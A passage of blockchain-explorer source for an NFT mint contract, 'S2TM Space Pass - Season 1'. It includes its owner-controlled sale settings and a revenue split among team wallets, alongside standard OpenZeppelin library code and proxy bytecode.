https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102c260279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b6060833b6101945760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101af9190610242565b600060405180830381855af49150503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b50915091506101ff828286610209565b9695505050505050565b60608315610218575081610105565b8251156102285782518084602001fd5b8160405162461bcd60e51b815260040161018b919061025e565b60008251610254818460208701610291565b9190910192915050565b602081526000825180602084015261027d816040850160208701610291565b601f01601f19169190910160400192915050565b60005b838110156102ac578181015183820152602001610294565b838111156102bb576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220831ade530a13aad12de61f6badba5ab0a66674bb04ac2e5a9b3c67ffafc7cced64736f6c63430008070033
[ 5 ]
0xf1D13c4045A345Df643E930f3C1a041262E9A143
// SPDX-License-Identifier: None pragma solidity ^0.8.4; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract S2TMPass is Ownable, ERC721 { using SafeMath for uint256; using Strings for uint256; uint256 public mintPrice = 0.05 ether; uint256 public mintLimit = 10; uint256 public supplyLimit; bool public saleActive = false; string public baseURI = ""; uint256 public totalSupply = 0; uint256 devShare = 20; uint256 teamShare = 12; uint256 marketingShare = 8; address payable SCHILLER_ADDRESS = payable(0x376FFEff9820826a564A1BA05A464b9923862418); address payable SNAZZY_ADDRESS = payable(0x57a1fCc7c7F7d253414a85EF4658B5C68Dc3D63B); address payable SEAN_ADDRESS = payable(0xcdb1e7Acd76166CCcBb61c1d4cb86cc0C033EcFa); address payable RISK_ADDRESS = payable(0x17485802CcE36b50CDc8EA94422C7000879e444f); address payable JOSH_ADDRESS = payable(0x340e02c1306ebED52cDF90163C12Ab342e171916); address payable JARED_ADDRESS = payable(0x22DD354645Da9BB7e02434F54D62bB388e0c5120); address payable devAddress = payable(0x4d3FD3865A46cE2cEd63fA56562Ab932149E7d3C); address payable marketingAddress = payable(0xeE1AB23f8426Cd12AB67513202A08135Cf6B0d6A); /********* Events - Start *********/ event SaleStateChanged(bool _state); event SupplyLimitChanged(uint256 _supplyLimit); event MintLimitChanged(uint256 _mintLimit); event MintPriceChanged(uint256 _mintPrice); event BaseURIChanged(string _baseURI); event PassMinted(address indexed _user, uint256 indexed _tokenId, string _tokenURI); event ReservePass(uint256 _numberOfTokens); /********* Events - Ends *********/ constructor( uint256 tokenSupplyLimit, string memory _baseURI ) ERC721("S2TM Space Pass - Season 1", "S2TM-S1") { supplyLimit = tokenSupplyLimit; baseURI = _baseURI; emit SupplyLimitChanged(supplyLimit); emit MintLimitChanged(mintLimit); emit MintPriceChanged(mintPrice); emit BaseURIChanged(_baseURI); } function setBaseURI(string memory _baseURI) external onlyOwner { baseURI = _baseURI; emit BaseURIChanged(_baseURI); } function toggleSaleActive() external onlyOwner { saleActive = !saleActive; emit SaleStateChanged(saleActive); } function changeSupplyLimit(uint256 _supplyLimit) external onlyOwner { require(_supplyLimit >= totalSupply, "Value should be greater than currently minted."); supplyLimit = _supplyLimit; emit SupplyLimitChanged(_supplyLimit); } function changeMintLimit(uint256 _mintLimit) external onlyOwner { mintLimit = _mintLimit; emit MintLimitChanged(_mintLimit); } function changeMintPrice(uint256 _mintPrice) external onlyOwner { mintPrice = _mintPrice; emit MintPriceChanged(_mintPrice); } function buyPass(uint _numberOfTokens) external payable { require(saleActive, "Sale is not active."); require(_numberOfTokens <= mintLimit, "Too many tokens for one transaction."); require(msg.value >= mintPrice.mul(_numberOfTokens), "Insufficient payment."); _mintPass(_numberOfTokens); } function _mintPass(uint _numberOfTokens) internal { require(totalSupply.add(_numberOfTokens) <= supplyLimit, "Not enough tokens left."); uint256 newId = totalSupply; for(uint i = 0; i < _numberOfTokens; i++) { newId += 1; totalSupply = totalSupply.add(1); _safeMint(msg.sender, newId); emit PassMinted(msg.sender, newId, tokenURI(newId)); } } function reservePass(uint256 _numberOfTokens) external onlyOwner { _mintPass(_numberOfTokens); emit ReservePass(_numberOfTokens); } /* This function will send all contract balance to its contract owner. */ function emergencyWithdraw() external onlyOwner { require(address(this).balance > 0, "No funds in smart Contract."); (bool success, ) = owner().call{value: address(this).balance}(""); require(success, "Withdraw Failed."); } function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } function withdraw() external onlyOwner { require(address(this).balance > 0, "No funds in smart Contract."); bool success; uint256 totalDevShare = address(this).balance.mul(devShare).div(100); uint256 totalTeamShare = address(this).balance.mul(teamShare).div(100); uint256 totalMarketingShare = address(this).balance.mul(marketingShare).div(100); (success, ) = devAddress.call{value: totalDevShare}(""); (success, ) = SCHILLER_ADDRESS.call{value: totalTeamShare}(""); (success, ) = SNAZZY_ADDRESS.call{value: totalTeamShare}(""); (success, ) = SEAN_ADDRESS.call{value: totalTeamShare}(""); (success, ) = RISK_ADDRESS.call{value: totalTeamShare}(""); (success, ) = JARED_ADDRESS.call{value: totalTeamShare}(""); (success, ) = JOSH_ADDRESS.call{value: totalTeamShare}(""); (success, ) = marketingAddress.call{value: totalMarketingShare}(""); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a 